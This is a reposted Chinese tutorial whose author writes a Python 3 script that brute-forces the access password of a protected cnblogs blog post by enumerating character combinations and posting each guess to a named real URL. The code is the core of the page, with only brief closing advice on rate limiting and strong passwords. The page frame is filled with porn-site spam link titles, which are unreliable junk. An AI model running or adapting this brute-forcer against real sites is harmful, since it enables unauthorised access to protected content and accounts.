一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

腳本之家,腳本語言編程技術及教程分享平臺!
分類導航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務器之家 - 腳本之家 - Python - python3實現暴力窮舉博客園密碼

python3實現暴力窮舉博客園密碼

2020-08-28 09:27黑暗圣堂武士 Python

這篇文章主要介紹了python3實現暴力窮舉博客園密碼的相關資料,需要的朋友可以參考下

我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發現極路由有安全限制,只能允許連續10密碼錯誤,所以我改拿博客園練手。

博客園的博客有個功能是給博文設置一個密碼,輸入正確的密碼才能看到文章的內容。經過測試發現這個密碼驗證功能,既沒有驗證碼也沒有提交頻率的限制,

要寫這個針對博客園的密碼暴力破解器模型會非常簡單,很好實現。

比如打開這個博文,會顯示一個密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前沒有寫過這樣的程序,也沒有看過別人寫這類功能的代碼,就按我自己所理解的想法來寫一個最簡單的密碼破解器,不要多線程,不要分布式,

這個程序會有這么兩個部分:

1、我需要一個生成器,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合。

2、我需要不停的提交密碼,直到認為密碼正確,記錄密碼,退出程序。

-_-!為什么使用生成器?

python2中range() 不是一個生成器,當你range(N),N為一個很大的數時...python就會爆炸?。?!哈哈哈..

寫細致的博客太消耗時間和心力,我這里不寫具體的分析過程了,后面直接上代碼,如果看不懂,查相關關鍵詞就可以,畢竟基礎教程性的文章和內容非常之多。

tqdm是一個python進度條庫,requests是一個簡單優雅的http庫,

product是python3的標準庫itertools下的函數,可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來就得到了"abc"這樣的一個密碼。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
"""
python3暴力窮舉密碼
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
 
#密碼生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
 
      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)
 
def fx(url):
#把URL中的readauth字符刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,因為這個才POST的目標地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密碼后,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那么認為猜到正確的密碼了。
        with open("resut.csv","a+") as f:
          f.write('密碼破解成功結果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass
 
url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,這個程序運行速度大約是每秒提交6次密碼,我運行了30個小時,也不過是迭代幾十萬次,并沒有能把密碼破解出來,沒有產生實質性的危害。

總結:

1、密碼驗證的地方適當增加一些防止暴力破解的手段。

2、仍然有必要使用復雜的密碼提高安全度。雖然這樣的一個簡單的程序并沒有什么卵用。

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 调教人妖 | 忘忧草在线社区WWW日本直播 | 国产馆精品推荐在线观看 | 精品久久久久久无码人妻国产馆 | 好涨好爽好大视频免费 | 99久久精品免费看国产四区 | 农村老妇1乱69系列小说 | 免费观看二十女人一摸是水 | 四虎1515hhcom| 国产精品久久久久久久免费大片 | 国产黄频在线观看高清免费 | 男人和女人全黄一级毛片 | 特黄特黄一级高清免费大片 | 日本高清有码视频 | 亚洲日本在线观看网址 | 4444亚洲国产成人精品 | 星星动漫在线观看无删减 | 波多野结衣中文字幕在线 | 午夜一区二区免费视频 | 成人男女网免费 | 四虎在线观看 | 玩逼逼| 久久国产乱子伦精品免费不卡 | 国产乱子伦在线观看不卡 | 成年人免费看的视频 | 久久成人a毛片免费观看网站 | 国产盗摄wc厕所撒尿视频 | 亚洲日本va中文字幕 | 久久免费看少妇高潮A片JA | 国产自拍专区 | 俺去俺来也www色官网免费的 | 福利久草| 国色天香高清版 | 隔壁老王国产在线精品 | 倩女还魂在线观看完整版免费 | 新版孕妇bbwbbwbbw | 亚洲免费精品视频 | 啊哈~嗯哼~用力cao我小说 | 高h舔穴 | 91人人| 亚洲精品国产精品麻豆99 |